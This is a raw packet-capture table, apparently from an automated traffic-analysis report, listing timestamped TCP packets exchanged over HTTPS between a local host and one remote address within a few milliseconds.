Oct 25, 2024 10:17:41.501981020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502003908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502027988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502155066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502161026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502191067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502227068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502247095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502290010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502330065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502334118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502365112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502394915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502419949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502461910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502497911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502501965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502528906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502562046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502588987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502629995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502655983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502666950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502701044 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502727032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502793074 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502834082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502866983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502871037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502902985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502931118 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.502953053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.502991915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503057003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503062963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503108025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503108025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503129005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503170013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503200054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503205061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503245115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503266096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503371954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503412962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503439903 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503444910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503483057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503509045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503542900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503582001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503629923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503633976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503667116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503695965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503707886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503751040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503777027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503781080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503819942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503844976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503885984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503927946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503957987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.503962040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.503998995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504024029 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504057884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504096031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504126072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504129887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504225016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504268885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504268885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504268885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504290104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504296064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504334927 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504370928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504424095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504463911 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504501104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504506111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504544020 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504596949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504636049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504640102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504663944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504666090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504705906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504741907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504801035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504839897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504872084 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504877090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.504901886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504926920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.504973888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505014896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505043983 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505048037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505084038 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505109072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505148888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505187988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505214930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505218983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505254984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505280972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505320072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505358934 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505386114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505390882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505434990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505502939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505543947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505572081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505577087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505605936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505647898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505676985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505717039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505742073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505745888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505793095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505808115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505868912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505907059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505930901 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.505934954 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.505975008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506000042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506041050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506083012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506112099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506118059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506151915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506176949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506222963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506263971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506294012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506298065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506397009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506438971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506439924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506439924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506463051 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506467104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506515026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506588936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506625891 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506658077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506661892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506690025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506712914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506755114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506793976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506824970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506829023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506865978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506894112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.506930113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506969929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.506999016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507004023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507041931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507065058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507101059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507142067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507169008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507173061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507210970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507236958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507277012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507338047 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507344007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507359028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507390022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507428885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507497072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507539034 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507662058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507659912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507659912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507705927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507728100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507730007 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507767916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507869005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507905960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.507941008 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.507997036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508033037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508037090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508083105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508112907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508126974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508177996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508229017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508265972 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508300066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508311987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508342028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508399963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508445978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508476973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508487940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508522034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508574963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508610964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508650064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508661032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508698940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508733988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508776903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508805037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508815050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508851051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508891106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508928061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.508970022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.508980989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509006977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509088039 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509130001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509151936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509177923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509211063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509329081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509366989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509418011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509418011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509423971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509490967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509536028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509588003 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509592056 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509603024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509671926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509707928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509756088 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509759903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509773970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509819984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509862900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509886980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509891987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.509923935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.509988070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510025978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510056973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510061026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510090113 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510183096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510225058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510242939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510247946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510289907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510373116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510411978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510442019 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510446072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510472059 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510567904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510611057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510705948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510711908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510751009 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510787964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510813951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510821104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510869026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510930061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510970116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.510996103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.510999918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511027098 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511110067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511157036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511178017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511183977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511224985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511296988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511354923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511369944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511374950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511416912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511444092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511464119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511502028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511506081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511527061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511532068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511554956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511586905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511590004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511624098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511642933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511646032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511653900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511672974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511713028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511713982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511723995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511749029 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511780024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511784077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511812925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511816025 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511832952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511872053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511876106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511894941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511917114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511925936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511950970 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.511955023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511985064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.511990070 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512005091 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512036085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512039900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512073040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512085915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512093067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512131929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512135983 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512175083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512176991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512193918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512253046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.512257099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.512264967 CEST	443	58442	104.16.231.132	192.168.2.17
